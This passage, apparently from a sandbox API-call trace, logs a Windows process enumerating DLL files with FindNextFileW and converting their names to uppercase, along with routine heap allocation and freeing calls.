Size=0x40) returned 0x49c120 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.672] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.672] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.672] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.672] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.673] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x49c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.673] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.673] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.673] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.673] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.673] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.674] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x49c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.674] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.674] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.674] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.674] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.675] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.675] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.675] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.675] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.675] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.676] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, 